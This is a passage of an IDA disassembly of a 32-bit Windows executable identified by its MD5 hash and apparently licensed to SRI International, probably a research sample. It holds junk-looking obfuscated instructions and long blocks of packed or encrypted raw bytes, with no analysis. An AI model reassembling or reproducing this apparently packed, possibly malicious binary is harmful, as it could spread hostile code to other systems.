; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 1FA222A7D334828D2E3C0E504BDDDCA7 ; --------------------------------------------------------------------------- ; File Name : u:\work\1fa222a7d334828d2e3c0e504bdddca7_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00003200 ( 12800.) ; Offset to raw data for section: 00000400 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing mov eax, ds:4070C01Ch sbb eax, 43FD4769h add eax, [eax] add eax, 0E0279EC3h mov ds:0E8C110A0h, eax push cs adc ds:11C7FFFh, ah retn ; --------------------------------------------------------------------------- dw 448Bh dd 12570424h, 90EC81A0h, 8D22CD01h, 6850C020h, 0FF1583F3h dd 14510415h, 16C4812Eh db 0, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push edi push dword ptr [edx] jnz short near ptr loc_40104D+2 sub dh, [eax] movsx ecx, al loc_40104D: ; CODE XREF: .text:00401045j mov [ebp+eax*2-3Ah], edi or al, 55h or cl, [eax] and [ebp+0Bh], dh push cs cld test ecx, ecx mov eax, 27D4F18h cmp eax, 0FFB3C803h or eax, 27D2B2F8h ; CODE XREF: .text:0040108Ej rol ah, 1 test byte ptr [eax-10h], 6Ah add [ebx+587F0DF9h], eax jnz short near ptr loc_401084+1 xor al, 0D1h inc ecx mov esp, 3B3D0330h lock jz short loc_4010BB loc_401084: ; CODE XREF: .text:00401077j cmp ah, [edx+ecx] popf xor al, [ecx-7C9753A5h] jnz short near ptr loc_401066+1 sar bh, 1 movd dword ptr [edi], mm4 mov dword ptr [edx], 242C7C20h rol byte ptr [eax+edi*2-395705F8h], 11h jz short loc_4010B5 and [ebp-57h], dl and dl, [ecx+278FE20h] add dh, [edx] rcr byte ptr [edi+5Eh], 5Dh xchg eax, edx loc_4010B5: ; CODE XREF: .text:004010A3j lea ecx, [eax] lodsd jo short near ptr loc_4010CB+3 push ebx loc_4010BB: ; CODE XREF: .text:00401081j xchg eax, esp adc al, 8Dh test [ecx+4C680267h], ebp aas push eax mov eax, ds:85102C9Dh loc_4010CB: ; CODE XREF: .text:004010B8j sal byte ptr [ebp+52h], 42h push ss and edi, fs:[eax] inc eax mov edi, eax xor esi, esi cmp ebx, [esi] ; --------------------------------------------------------------------------- dw 74FEh dd 0C47032Dh, 26BB3039h, 0FF0604F8h, 4234BDEFh, 0E853D806h dd 84F27205h, 7559C00Ch, 39833F15h, 3C9804C6h, 0EBDCD006h dd 5D07037Eh, 74DB8508h, 5A35377h, 436A8368h, 1810FB54h dd 5B804050h, 3981C952h, 0FC103383h, 458DA16Ah, 0C0F2DF46h dd 839B128Bh, 66330CC4h, 81021EC7h, 3E23BD68h, 6FC91C22h dd 0F22A0666h, 0D0013141h, 0FB6AF410h, 0C7F86021h, 8106B410h dd 0D9535B1Ch, 205A9102h, 83F08B06h, 45062FEh, 1D50EBE4h dd 50321057h, 23243056h, 4CC5F883h, 281DDBFAh, 0A4C38A88h dd 8BF98082h, 0C243A7Ch, 238FFFA4h, 9740939h, 17756E00h dd 0E2A03F80h, 0F8AC5719h, 7D909A3h, 0CF0CDD8Bh, 0D4304022h dd 507E0686h, 0F4C3BFC6h, 0EFC44905h, 0A802BC41h, 2BD99310h dd 54250AAh, 1A57533Fh, 770D308Ch, 2920BB29h, 0FB03A910h dd 3A203D8Bh, 2366591Fh, 0D7193814h, 536F0CBBh, 0F1281A56h dd 1C6123B2h, 5E5B5F21h, 3C119A26h, 33570903h, 0CC1E1BDBh dd 0FE841D8Ah, 53247A03h, 1A96DA1Ch, 641EF84Ch, 1A82075Ch dd 35A40E9h, 101D9374h, 840FB057h, 0DFE9289h, 0FD13E856h dd 1CC9054Ah, 15FED0FBh, 24E4C868h, 12C8B350h, 14385948h dd 9D0D56CDh, 303536F0h, 0C4268460h, 0F06728FCh, 26CA0D4Ah dd 0FB908321h, 411C24h, 8D532476h, 17A23584h, 11728D08h dd 29274218h, 0CC242646h, 0DC725903h, 0D433DD68h, 0B389042Ch dd 8A575E01h, 2A5F26A8h, 440911CAh, 1AAB9A07h, 0CC70594h dd 0FE509664h, 68C409C9h, 804D2828h, 339924EAh, 0C095C9FEh dd 8A0FA2FDh, 88EC0D54h, 20708032h, 0D8404138h, 7C28032Eh dd 10606AEEh, 4FF4C34h, 4063E468h, 681343CCh, 0C387837Bh dd 3AC6E0D1h, 67E6FC52h, 0ED6A7C0Eh, 0C3163ECDh, 96A0545h dd 25643B68h, 0CFB25032h, 437B451Ah, 4284036h, 0D01FE01Ah dd 0FEDB88E0h, 52879E24h, 3CA6224Fh, 48090436h, 0CEFF4144h dd 652C7925h, 6ECBAA2Ch, 3BD8126Ah, 0C48E08DFh, 11349A4h dd 0D989D76Ch, 14AB3246h, 0B241DCDh, 64C82ECh, 0EE130392h dd 5404438Bh, 0A9D75708h, 0C9F01A0Ch, 3496F4C2h, 36EC18CBh dd 6B740908h, 84121D8Bh, 4894C85h, 0D161CC4Ch, 40D3FFC9h dd 0BF575219h, 0BFBA06F8h, 1ABC8537h, 8B6698EFh, 0ED144535h dd 0A8E734D6h, 62582BA0h, 2D22C5B3h, 296A252Bh, 254829B4h dd 630442DEh, 33F5EF1Ch, 0AF418960h, 0CC461F29h, 5F1FECB5h dd 660F4B8h, 20680C25h, 0ABD3936Ah, 46100EC1h, 0E3CD4F2Fh dd 50042657h, 30B95805h, 0A8C4B842h, 1682D7B2h, 0EC3CA1BBh dd 0ECEB8150h, 8C16CEEFh, 9B44CF3h, 0ED0724A9h, 92B4478Ch dd 0A224952h, 0B410153Ch, 6C31ECF2h, 59B4211Eh, 0B4230F6Bh dd 897C30CFh, 92224A3Fh, 83FA0A28h, 0D269489Ch, 358EDE67h dd 42163A99h, 92D96A04h, 60AB04D1h, 8B0A2611h, 0B9E00C5Dh dd 7401FB86h, 2750A65h, 0D0686009h, 0DCB71007h, 90DB83F0h dd 861D145Dh, 556134BEh, 0C98B7056h, 0B328F17Ch, 19EC5187h dd 360A8CFEh, 7FF85298h, 3CDB6BC1h, 6810DC8Bh, 85355492h dd 2E903188h, 28BFCE07h, 20600DACh, 5752D348h, 6A57D861h dd 2C2ECE04h, 42FB76F0h, 46925333h, 3C217934h, 82E68DBh dd 6809DE60h, 13A92834h, 53126451h, 40578194h, 0DE701039h dd 321695B4h, 9422B7CEh, 9688920Dh, 0CF3B0FD1h, 0A546EC7Ch dd 90E12744h, 0BE82450Eh, 0AE901C52h, 7FC5763Ch, 0AB65316Ah dd 9714B491h, 0A00F6604h, 29E1187Bh, 7D89E01Ch, 215FB0FCh dd 0DCC40275h, 23657329h, 33E084DEh, 0E467A4DBh, 0DC1A3287h dd 2EC64D53h, 443E988Fh, 66B15318h, 0A9D642CCh, 5311111Dh dd 226A66BBh, 0B92D3ACh, 6A193DB7h, 0FC291ED7h, 90E09531h dd 0A02D6A2Bh, 6ED75918h, 0B72962E4h, 24652617h, 0C0830684h dd 36FF2C04h, 2EA577F0h, 0B9578914h, 48C468C9h, 1454A764h dd 0A0BC7D63h, 29B45384h, 135C3AC8h, 0D0C7D83h, 200D63A3h dd 6A315DA4h, 0E0F8367Ch, 65DC0B04h, 0B2937116h, 0B107D008h dd 32E17418h, 63369286h, 0E9443222h, 2EBAD83Bh, 81246984h dd 14EDEFE1h, 865D4924h, 0A1490CD0h, 0B63E0A14h, 2977F056h dd 425D666Ch, 5A22B7ECh, 76A4181Bh, 706A0985h, 0B4420BB3h dd 0C880C42Bh, 310A5E44h, 3D0A9784h, 1188D368h, 4C10A248h dd 923CE267h, 0FC81236Dh, 52665210h, 8B3B74C4h, 0FDC8628h dd 85708484h, 394B3F27h, 0E72BACECh, 33E402CBh, 0A0EC5BC0h dd 98567977h, 0C9889475h, 78031190h, 1765967h, 92607542h dd 0B8A48914h, 1CEB1641h, 0CFC08559h, 37F60C74h, 107E2670h dd 232DEB29h, 1A84490h, 4CEBF08Eh, 0C43F90Ah, 0C5490843h dd 67F80941h, 845E5359h, 0C25D248h, 85939B2Bh, 1027145Ah dd 94101A8Ch, 50C94EA6h, 12E1AF4Ch, 94C8D15Dh, 3D1A3E24h dd 3D702F9Dh, 83120E98h, 1E05E44Dh, 0D21C5024h, 88F65FAh dd 89971D4Dh, 682083DDh, 0F0954EBh, 428B5891h, 0BCF05E2Bh dd 535B08A0h, 0CC122D16h, 3154744h, 0C69F1817h, 52BAD035h dd 646F3D9Eh, 49345118h, 46015313h, 6C087D8Bh, 8470945Eh dd 680EFB1Ch, 882C0409h, 46B11532h, 5A48005h, 14891412h dd 937C1E08h, 81AC50Ah, 4253D45Dh, 48490DAEh, 31670E14h dd 465E74C8h, 0E4639FD8h, 0C5026D6Ch, 663966C1h, 45503720h dd 1801DEBBh, 68A1660Bh, 8D4C53ACh, 0B068DFCh, 6B17121Ah dd 0D88B8143h, 2FE0FD33h, 4D8F730h, 5D0E5B7Dh, 5986401Ch dd 0C8BD4489h, 0A7521C4h, 0BDF14528h, 0F427F1Eh, 801ECC9h dd 475F066Ah, 49157E4Eh, 42594719h, 9812D306h, 7909B47Ch dd 0E82806D4h, 12A06036h, 8E7C1D0h, 3CC0CC7h, 0C802ECF4h dd 26715C68h, 0DC2218E5h, 1CFB34E0h, 54478E2Dh, 0E81B27CBh dd 35E45029h, 9966B2CFh, 12B80DDh, 3781A3D0h, 6E58DB5Ah dd 7E205C11h, 0FCDBE1BCh, 5B465709h, 12AA86B9h, 5D25DA73h dd 0D88D30DCh, 0F9FB4183h, 419A03F4h, 72203C7Dh, 59C6BC53h dd 31CCF209h, 0A07FEB2Ah, 0A4FCF748h, 38159145h, 9B14D150h dd 341E22DDh, 0A1B663DBh, 8C965474h, 4CCECDFEh, 1D338B87h dd 8E593930h, 49FCD22Dh, 0ADEBF8A1h, 801B71CFh, 7786F365h dd 0F42B2FD9h, 2071CE44h, 4BADDEEBh, 0E238A29Ah, 59690B02h dd 0A9A2CC47h, 411ADC0Dh, 0EBF7240Dh, 0C8423649h, 4B74D94Ch dd 3A1829C2h, 8347A17Ah, 0FC0F07Dh, 1A1B5E8Fh, 20CD8F8Ch dd 0A004C20Bh, 8247419h, 0F2B9857h, 203C068Ah, 901FA5Fh dd 0EB460375h, 434B68F3h, 60FB28DBh, 0E1C0D60h, 74BF048Dh dd 417C0146h, 8BE5EBD0h, 0A576A6C7h, 335614C0h, 0BE5774F6h dd 5F08F812h, 475EB2C8h, 0B203D568h, 3DA3B556h, 7519573Dh dd 6D0828F0h, 6A0E8240h, 0CBE4905h, 239F9022h, 3956B78Eh dd 8D101017h, 0F4EDFC4Dh, 59206850h, 2628D91Bh, 6A02EE3Ch dd 2CF0EC19h, 8EFDAEBh, 5596045Ch, 15FCE458h, 8C504C48h dd 9DA044C8h, 0A4388895h, 0E089283Fh, 0FC241C64h, 0C4C63B44h dd 0E03973F9h, 99343D2Fh, 0B545981h, 0E8CC47ADh, 8961C406h dd 0EE3B1022h, 0E840712Eh, 0F886BF39h, 2BC4047Dh, 0E7C83D8Bh dd 0DBA495BEh, 0E8F8C8BBh, 721E324Bh, 59991F00h, 1983F9F7h dd 0A07E0FFAh, 8104F22h, 0BF12E823h, 1ECE8B19h, 4A07ED52h dd 0EFFC100Bh, 0F71AEBA1h, 0B50D77E5h, 8C0B77E4h, 550518E6h dd 0D2E82CEBh, 85C71D28h dd 0BBCA9BDh, 122DB144h, 2A5828C6h, 6E85D759h, 16C99217h dd 0E808D61Dh, 1F164A0Bh, 14CFE4F3h, 564C1D4Fh, 0B03C4EC4h dd 1FC94002h, 81F5BE6Ch, 65378412h, 1F1B1819h, 0B29EB20h dd 2D270F78h, 143343A1h, 7A8B4024h, 0C40FE468h, 5171199Ah dd 0A95420C8h, 519945Ch, 0EB092325h, 4F499332h, 0E90EE76h dd 78FD640Ah, 7F29488Bh, 0E2BC9E94h, 40961123h, 1204C7B2h dd 626BEC24h, 0C2C50E6h, 0B73D884Ch, 668A497h, 48EB58C8h dd 3C2C81CFh, 18FC6536h, 0C0684CEAh, 0D72D1E54h, 0DB80BB2Ch dd 1404F865h, 82671F4Bh, 0D661EE75h, 895915Bh, 4723384Bh dd 205A8178h, 0E57ED106h, 0D9E46E56h, 0BDE988AAh, 0F43A54ECh dd 22C24A8Bh, 56222442h, 971544BEh, 0F7DCCD02h, 123CB70Fh dd 10FB51DCh, 0B55C1C90h, 801DFEA3h, 1BDB99BCh, 1363205Ch dd 681217A4h, 44296C50h, 8D301D61h, 30148AC8h, 7D8028C6h dd 7430C5CCh, 50142516h, 0B5996B50h, 0BEE35858h, 4402051h dd 80E0F0A7h, 6F8D21B2h, 0EE9599Dh, 52B882A6h, 0FE224B5Eh dd 0B8077B04h, 1431F852h, 0A801BF87h, 6DCE6683h, 868860Ah dd 210C8C23h, 0E1696BFCh, 40385F0Eh, 0F01CC29h, 0CCE548Bh dd 4804C8Eh, 4774D285h, 8A2E7790h, 0CDBF2244h, 720403D1h dd 0B8D9F72Dh, 0FE7403E1h, 88D1002Bh, 75494707h, 0C81F8BFAh dd 35DE0C1h, 10440728h, 0E28330CAh, 7402E90Ch, 0ABF3061Bh dd 4549B677h, 5F7F934Ah, 5F46D5B2h, 0F75CA077h, 0D0034EC1h dd 18A1450h, 0C084411Dh, 830F40D4h, 5805F175h, 1074B0Dh dd 10FEFFBAh, 83D0037Eh, 333A34B0h, 4C189C2h, 20AE8EA9h dd 8BE87481h, 59FC6741h, 86E44532h, 0E683241Eh, 0F137C36h dd 0F02FC10h, 418DCDEBh, 2B0C56F4h, 0FE14C3C1h, 0B2FD9085h dd 801A3AFCh, 0A157E5A5h, 4DE40112h, 7DFC3810h, 3D1B9A0h dd 0FE3BC60Fh, 0F8025D76h, 4878820Fh, 0A6C7F72Eh, 0CC14558Dh dd 0F930D217h, 3297208h, 24FFA5F3h, 0D19DC895h, 41BAC7E7h dd 20E9831Dh, 0E0EA0C0Eh, 9DC8F1F7h, 23D08530h, 0D88D0E63h dd 11903F32h, 9BF0115Ch, 0DE131C29h, 49D1F609h, 3A740D8Ah dd 47B90146h, 0AF020CE6h, 0C6B412D9h, 5DA4C702h, 528D2CCCh dd 26912C49h, 1EB48376h, 0B2A61061h, 46249190h, 1A474594h dd 0C6408C29h, 0AC640FBFh, 9C48A409h, 8C229491h, 8A7C8444h dd 0E48E8982h, 0D38FE0E1h, 0E9E81122h, 912EEC12h, 12E9F022h dd 22912EF4h, 0FC12E9F8h, 48D872Eh, 39B1029h, 91F8E4F0h dd 0F1144F0Ah, 0EC09E08Ch, 425838Bh, 5E084525h, 9046C25Fh dd 0C1C9E92h, 1286FA8Ch, 0EB6A48Ah, 2C300BAAh, 3163748Dh dd 0A4397CD0h, 8724809Ch, 0E4FD0D0Ah, 60F1FC18h, 86908426h dd 0EE1066A9h, 9094F09Ah, 2B21F946h, 62256808h, 78262660h dd 9986419h, 3DC59C0h, 0E0BA3B21h, 4FB34EB2h, 3DB65784h dd 0A92098A3h, 6EEC6A4h, 0CA7EEF48h, 90592A8Ch, 4B6A284Bh dd 42EE71ACh, 0AF92EFACh, 385A4641h, 8C5C466Ch, 0C81C0F14h dd 2C912409h, 3C443422h, 15578944h, 0BA1C6848h, 5D181164h dd 0D2144522h, 225D1024h, 24D20C45h, 45225D08h, 984FD204h dd 7019202Bh, 991780Dh, 0A59C2288h, 8AB8A08Ch, 8A889EB6h dd 8784BC10h, 65B82B14h, 510128CCh, 0AABE3D70h, 52148D16h dd 81141218h, 0CD26F980h, 8511A12Dh, 7318A2EAh, 8B8540ECh dd 1D1ADDC4h, 5CA6A8E1h, 0C32C9040h, 42004BF0h, 118A5653h dd 102202B5h, 691AE184h, 0EE0171E8h, 0FE4FEEF6h, 1235D6F7h dd 38CA0702h, 9215D5D0h, 19620BDAh, 10A0B04h, 5B5EF575h dd 0C328F228h, 0FF07D11h, 0FF7E8DEBh, 93026145h, 224D28F8h dd 0E0380712h, 4193C475h, 18653B03h, 1BFF6697h, 0DFD02320h dd 60D8B1EBh, 0A8C28A6Bh, 1A811A91h, 1BFF478Dh, 0A7C777C1h dd 20B0180Dh, 6F3B153h, 4E086A57h, 7D8D590Bh, 4CA38FE0h dd 5165A07h, 0B60F01B3h, 2302C1CAh, 3E8CCCFh, 8DE3D205h dd 0D0C10544h, 0A3404618h, 798BE575h, 1A07B755h, 0CC157206h dd 8A1AE9D0h, 60516A02h, 0C25BCE1Ch, 0C1E3D352h, 4C8AE840h dd 84E03502h, 0AF0774D9h, 0EB428783h, 65DA8BB3h, 5B1E1744h dd 4A0A5624h, 26E0D358h, 22750ACFh, 1D22800Eh, 5FC38B80h dd 55EC22Bh, 0C01BD8F7h, 23564289h, 574C5BC3h, 83A20B5h dd 0B08D6AEBh, 0ACFEB1B4h, 0A65764CAh, 100F2321h, 1CDEA53Bh dd 1A9123C8h, 79710E88h, 3D0DABFFh, 820FE0Ah, 341FD7Fh dd 0A60C0D74h, 96194860h, 293C06Ah, 47178864h, 0EBEE6398h dd 0DC89053Eh, 68042A75h, 0DE6ADED0h, 0CC6C1155h, 923461E1h dd 0F72715C0h, 12346AC2h, 0C76B3310h, 0CAEF725Ch, 0C6440966h dd 0D0A44C7h, 0A68812ECh, 3D830A08h, 1FF6E7Ch, 68117E01h dd 398DD607h, 0E852828h, 3259371Bh, 0DD027C9h, 1EA59670h dd 418BFC66h, 0E97B0725h, 4D826A13h, 0A8A60E51h, 64370A35h dd 0FD0FDBA1h, 82589CAh, 5840D828h, 0B65F857h, 0D415FFE8h dd 8AD2F648h, 0F4D2F7EFh, 0C88B5D48h, 2FE1812Dh, 0F00DC6A8h dd 19C17C1Dh, 16CA0308h, 39E808ECh, 11E2A310h, 3A56F633h dd 0E06D2489h, 31087596h, 1A191C6Ah, 0ED89F144h, 22138CFCh dd 88D09CC2h, 78FFF8A3h, 9021874Eh, 0A70EAAFh, 0B431F8Ch dd 1B8A441Eh, 0D058AC60h, 9CA4458Dh, 40CC11B0h, 897F3217h dd 81F69C39h, 67401D0h, 0D4E9B70Fh, 0A4B062Ah, 75273C58h dd 0C8CFA59Ch, 102812A6h, 62F2B69Eh, 57C1D91Bh, 92064ECh dd 984D8914h, 1C2362DBh, 23FF92AEh, 0F29875C8h, 24F7AACBh dd 0BF70D808h, 26390531h, 424247Bh, 0F4B4CA8Bh, 60A04C57h dd 724A6C5Fh, 537625C3h, 0D8342659h, 8D6188EDh, 5B78427Ch dd 34BE5E9Bh, 0D4B30E64h, 0D88B5309h, 0EC58BEC2h, 23C021F5h dd 8A13020Bh, 6038420Ah, 7B84D1D5h, 135152C9h, 0BED7504h dd 0C39DC0D8h, 1037E3C1h, 0A821256h, 0FD1266BFh, 5D33B760h dd 0F90470CBh, 0C8FFF183h, 0C6FCCF1Bh, 448C2F4h, 821C486Eh dd 66251C75h, 7D35123h, 0D3089803h, 808D2CE6h, 16412CAEh dd 8BCE405Bh, 0D838FC42h, 0A8367426h, 0DC13EF9Eh, 0AC493F12h dd 268E2DE7h, 0DC32FD33h, 392A0627h, 335C961Ah, 40FEABB2h dd 8CFD0770h, 565AFC42h, 99925F63h, 79F9CC48h, 0C7713A1h dd 73123065h, 52EB3004h, 67A8F685h, 94C10F40h, 0D1B60386h dd 1F844F6h, 0BB05E80h, 0FE7065E8h, 0FC4D881Ch, 6AFD45C4h dd 7709A5C3h, 0EBDF831Ch, 4D8D8060h, 3F580A5Ah, 95505104h dd 45E4F593h, 68BC0728h, 85027585h, 0AC7479Ch, 120C3623h dd 0DEF4A13Fh, 402BD88h, 1068D0FFh, 889D260h, 1C633CD4h dd 8E04FA94h, 76A6100Fh, 50C31028h, 120C8BA9h, 3CB4DE1Bh dd 8D011150h, 5FF200ADh, 63243D39h, 11756A71h, 940B335Fh dd 44B9E6E0h, 89BD83DCh, 76C07046h, 89140C5Ch, 8847203Dh dd 291C1D28h, 0F0A13C15h, 0F0228A84h, 5615EC18h, 0FC71038Dh dd 1372F03Bh, 98B006F2h, 47FEE83h, 73233550h, 685EED0Ah dd 14449518h, 0F1292129h, 0A8114720h, 14DB8570h, 7B10755Bh dd 0A4878929h, 9989C92Bh, 3B150E51h, 0D7315ABh, 4C6C158h dd 232AEDEBh, 75EA53F3h, 1D25A8C4h, 44B8C4EFh, 58258B20h dd 1597C908h, 0FB831781h, 0D40C7505h, 2BB70860h, 1D818361h dd 0CB2279ECh, 0CF90F634h, 0C5D2280Dh, 6A1CE712h, 0CAA0CDDh dd 44E48F2h, 0C8852545h dd 6F181E5Ch, 0C0041525h, 56D1030Dh, 7D7BCA3Bh, 49348D0Fh dd 0B50A582Bh, 3024BA90h, 0C6062683h, 752D4A0Ch, 358AE1F7h dd 3D4919E3h, 8AC0688Eh, 0D05C7D4h, 0EB838318h, 903D2970h dd 20816413h, 87913D5Dh, 4A828490h, 421E933Dh, 3D370885h dd 882798Dh, 8F3D2124h, 112086E4h, 4684923Dh, 538A220Ah dd 6A2D89FFh, 2FC294E2h, 5EE70B2Eh, 46FBDAEBh, 9B922551h dd 4EE4A352h, 223A9B89h, 5B22E4D8h, 54FC615Dh, 830DA72h dd 8815395Fh, 0B856DAA8h, 497406A1h, 0C8EC17EEh, 3B0CC040h dd 47301C6h, 0F5751039h, 5E49E88Dh, 16A808DDh, 13C13B28h dd 3F6A8AA2h, 7FA2EE62h, 0EEC6AE5Eh, 0E9562D26h, 58499FACh dd 4E2277B9h, 0B4AA1C25h, 1148CC10h, 72EBF898h, 0CB293A62h dd 46E6BE90h, 80E319EBh, 810D443Eh, 203C0A10h, 76FF0676h dd 0FA77361Ah, 461536Ah, 0C68BE921h, 653DC20h, 1D39DB33h dd 562999E8h, 0B6B55C57h, 402EF089h, 74C33A16h, 3D743C12h dd 56470116h, 0A44CA3F6h, 0ECEB7B7Ch, 0B7BD7204h, 0A12DB830h dd 59F08B04h, 0A81F33Bh, 0C2057104h, 1F110949h, 0A13D0820h dd 74E43842h, 57552A39h, 0C8B763Ah, 3F804559h, 55542294h dd 0C3483B35h, 2F06293Dh, 36FF5741h, 994C273Ah, 3A66FAFh dd 751270FDh, 68175DC9h, 722D7561h, 0C1D5894h, 5F1E1276h dd 0E4880A5Eh, 0FD019AAAh, 4BE30CCCh, 2CBE85BEh, 991B8B53h dd 5453DA49h, 89A164B6h, 14A3022Ah, 38FE8B20h, 0EC4E9018h dd 2F8995F8h, 0C653F499h, 0DC1FA090h, 0B208B69h, 88E641A1h dd 0C44AD54Ah, 0A2D71148h, 308C8C72h, 864B50D9h, 365956EDh dd 14501BFBh, 50BDB648h, 0A31A9D9Fh, 787E0FF8h, 0C0189A6Ch dd 5653143Ah, 0E6D32183h, 0E9576B0Fh, 0B655887Dh, 85212569h dd 78C27984h, 0EB627037h, 38802A89h, 8A449C00h, 40790150h dd 27BFFA48h, 25590429h, 0F652BF87h, 3EF54382h, 3E4C0490h dd 2485011Fh, 108A0071h, 40461688h, 0CD50CA9h, 0DCE54EBh dd 1E805804h, 1541A37Ch, 1243EB3Ah, 0CC1F052Ah, 0DA8A400Ah dd 308D83FCh, 1E881834h, 20CD4667h, 375D09B4h, 0CC757212h dd 4803840Eh, 4B44BCC4h, 81C1FF66h, 70C31865h, 2288B79Eh dd 0A8AB4A8h, 1928052Ch, 52F1BE03h, 0BD28C818h, 7E558BD0h dd 0A2027A14h, 8CD812D1h, 25C4686h, 43400475h, 9390F7EBh dd 0C326F62Ch, 42249701h, 17D3909h, 78800D6Eh, 0A38D22F0h dd 8B3C06E4h, 7003EBC2h, 130D0849h, 1901D233h, 0C2940F18h dd 0D10C02FBh, 4BD38BEBh, 0E0A3056h, 0C6408943h, 0A0465C06h dd 2D754BB2h, 2AA38AF3h, 804A834Ah, 8B086DE1h, 3AAB8B3Fh dd 7B68204Ch, 19532E65h, 9306E33Ch, 121C2B20h, 3413C0Fh dd 0D5042DDBh, 0C82091D1h, 209A3122h, 42960F05h, 278303C8h dd 7F148F49h, 4CFC1010h, 0C4A48A1h, 6A7230A1h, 13BC9053h dd 2450B82Dh, 94D21C4Eh, 0A948C1F6h, 0D50A7532h, 0C410F62h dd 0A4177574h, 0EBC27C44h, 0BC596128h, 3B488114h, 0EA1820FBh dd 21C118Ah, 2227BF16h, 0C102E26Dh, 921481E1h, 40930C44h dd 16C25022h, 101E3966h, 4038EC74h, 751812E1h, 0F20748F9h dd 30C62B2Ch, 0D19FC018h, 0ED8F98F8h, 345E06A4h, 0B84E808h dd 0D7FF34h, 74EB3B36h, 0CD33B132h, 230B602Ah, 5C553AC9h dd 4DEDBDFAh, 25AA2844h, 26187B0Eh, 145C4628h, 0C1098B69h dd 0B117C473h, 4053EBC3h, 4C75028Ah, 8608A6A2h, 3C7470B2h dd 0C7F061B0h, 0DFFD0AECh, 5A0F87Dh, 0F3FD2BF6h, 9CED663h dd 1A0B870Bh, 0FCAB88CFh, 0BB6CEB1Fh, 0A4F65616h, 0EED8E54Ah dd 0EBC63E82h, 84578AEAh, 7EF45BF2h, 92444FECh, 12446879h dd 664A0AB1h, 1B913326h, 0E0160493h, 76191474h, 88207540h dd 2AA0868Dh, 7326F03Bh, 4106E1Ah, 0AC6B740h, 0A10A0546h dd 7A7A3E24h, 0EB1CA008h, 0E28D55E2h, 6689533Dh, 34420AC1h dd 0D08AC576h, 0EA46E518h, 16B94218h, 0DD0E8D30h, 4B080AB8h dd 2E1C063Dh, 28EE027Ch, 0D643539h, 0E4BF527Dh, 5D900E9Bh dd 83381501h, 7898180h, 7F54888Dh, 80181A80h, 8FFC860h dd 8B1E4010h, 8AC05E0Fh, 937DC181h, 4AD650E4h, 0D2BB7C87h dd 0AAB8B06h, 0F61F4558h, 313467Eh, 3836AAF4h, 267D4D8Ah dd 307F01C1h, 0B75080Ah, 16A0A6A9h, 0D17448C8h, 0CF01C739h dd 8305F8C1h, 45620E1h, 58D08552h, 0CC83D22h, 6108890Bh dd 0E487B88h, 0C3834547h, 7CFE3BA1h, 185131BAh, 0D80E3CEDh dd 81348DFFh, 0DB854D75h, 5C040120h, 6A05B581h, 5EB58F6h dd 0F548C389h, 0F58E031Ah, 5AA4B33Ah, 2B745098h, 8B675717h dd 0D064250Ch, 82D13E48h, 0C24E8006h, 3DEB436Bh, 0AA20316h dd 0BCFD087Bh, 8343800Dh, 9B7C03FBh, 0C8B9A6FFh, 0AAA9A86Eh dd 4424BE28h, 6A1CB4C3h, 0F4823916h, 0A6A15468h, 0C9653F77h dd 0A3564298h, 865A74C8h, 0D62E2FA9h, 3F0F7503h, 2242C87Ah dd 0C36AC99Ch, 0E8A4CEC3h, 65C79630h, 68D9E869h, 323469C8h dd 3D1609C6h, 3B445DA3h, 0F212E58Bh, 0A04139D0h, 5FB8E006h dd 0B5B52501h, 5F228E8h, 0B8028910h, 0DAC348B4h, 0DA80277Fh dd 0D068FE6Ah, 0CE6483CDh, 665E2DB8h, 204F35C4h, 70C94B1Dh dd 93F3760Ch, 1E80C72Eh, 220028C9h, 0B30C8B76h, 6B4896Bh dd 7A30486Eh, 27B2907Ch, 5511275h, 7ECA5C37h, 0FF812503h dd 0EB120454h, 0EC8F64C3h, 0A3519233h, 64E8448Dh, 100D8B28h dd 4798114h, 0E752C69h, 0A70E5117h, 0D2396E52h, 9C05B20Ah dd 933D8B68h, 86851CBBh, 0C6097210h, 65C44D8Bh, 0C043064Bh dd 590C6BD1h, 0BAC45B5Ah, 0A356F00Fh, 0A7583032h, 38B2923Eh dd 1EFB0829h, 8E5D9AFCh, 40F7E9C0h, 0DA98E5A6h, 196E8245h dd 7A10260Bh, 7E9D7E27h, 14734490h, 87C2087Bh, 76A58D61h dd 3D8FB208h, 5556450Fh, 18106B85h, 5E5D18A9h, 10B85C9h dd 3C7833C5h, 71E84DADh, 0B4A1AB24h, 563D9504h, 6AED200Dh dd 20706F08h, 488F46DFh, 0ACCD794Bh, 0D2FF790Ch, 0CF1B8E7Bh dd 0A1EB4234h, 0BADC93B8h, 0F2CA9B1Ch, 6A5D8215h, 5D40B9FFh dd 95281755h, 762F9755h, 4163292Fh, 83A501Ch, 44255718h dd 36BEA1E2h, 7489A2ACh, 2AF3270Dh, 6C643D91h, 210E457Dh dd 3016FC68h, 0A1B42639h, 2DCC345Dh, 9DF1B359h, 0FC591662h dd 0CDA46660h, 331E8095h, 9230B8C9h, 913B5C3Fh, 97430B2Ch dd 1BC01841h, 5639F17Ch, 0E6C1828Bh, 8A963B03h, 1C08271Bh dd 266D2301h, 64E811BDh, 22760DE3h, 5181D744h, 189176FAh dd 858D09F1h, 8B297E5Ch, 8E590104h, 0A61363CCh, 54302F18h dd 5971734Eh, 577F13A4h, 8A2BDF0h, 40166271h, 293CE1B0h dd 271A2976h, 449825E6h, 837E0E84h, 36A3B1Ch, 2C68997Eh dd 36115785h, 0C7456BEBh, 0D9FD6085h, 8456AE78h, 0D9575A11h dd 0C1E08F7h, 8A1B1F85h, 0B5D434B6h, 0CC80ED2Fh, 5320761Bh dd 297B1101h, 